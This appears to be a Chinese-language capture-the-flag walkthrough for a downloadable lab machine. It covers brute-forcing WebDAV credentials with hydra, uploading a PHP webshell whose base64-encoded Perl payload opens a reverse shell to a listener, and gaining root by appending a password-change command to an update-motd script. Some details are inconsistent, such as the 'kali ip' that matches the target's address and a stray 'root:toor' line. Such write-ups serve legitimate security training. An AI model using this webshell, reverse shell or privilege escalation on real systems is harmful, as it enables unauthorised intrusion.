靶機下載鏈接:
https://pan.baidu.com/s/1GxcSL6efwd0GcbY45WsD0A 提取碼: dhr5
一、信息收集
1.使用namp 192.168.101.0/24掃描該網段的地址,尋找靶機IP
2.直接訪問192.168.101.102
3.進行目錄掃描,dirb目錄掃描工具(kali自帶的),使用命令dirb?? http://192.168.101.102,掃描后發現有3個網址,發現有webdav網址
二、利用webdav客戶端,思路:cadaver http://192.168.101.102/webdav——連接Put webshell.php——上傳木馬
使用cewl——爬行網站創建密碼字典,使用方法 cewl 192.168.101.102 -w 1.txt
使用hydra自動化爆破工具,使用方法 hydra -L 1.txt -P 1.txt 192.168.101.102 http-get /webdav
用爆破的用戶密碼成功登錄
上傳一個webshell.php文件
Webshell.php文件源碼如下
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.102"; 注意這里是kali的ip
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
使用put webshell.php上傳,注意webshell路徑
上傳成功之后,需要訪問192.168.101.102建立反向連接,訪問網站之前開啟監聽,監聽命方法如下:nc -lvvp 4444
使用之前爆破的用戶密碼登錄,接著查看監聽情況
看到如下情況說明成功回彈websshell
優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python3 -c? ‘import pty;pty.spawn(“/bin/bash”)’
查看當前用戶,使用命令 cd /home 、ls(發現3個用戶)
在mnt目錄下面發現了hell.sh文件,發現brainfuck to text編碼,進行解碼得到chitragupt,猜測是密碼
解碼網站:https://www.splitbrain.org/services/ook
使用命令ssh進行連接,具體方法:ssh inferno@192.168.101.102
查看該用戶的文件,發現有個user.txt,查看該文件發現一個flag
三、Motd提權
具體步驟:1.進入到文件夾/etc/update-mode.d/
2修改文件 echo "echo 'root:admin'|sudo chpasswd">>00-header
3.重新登錄4.su root
root:toor| sudo chpasswd
拿到root權限后,查看有什么文件,有發現一個txt文件查看發現有flag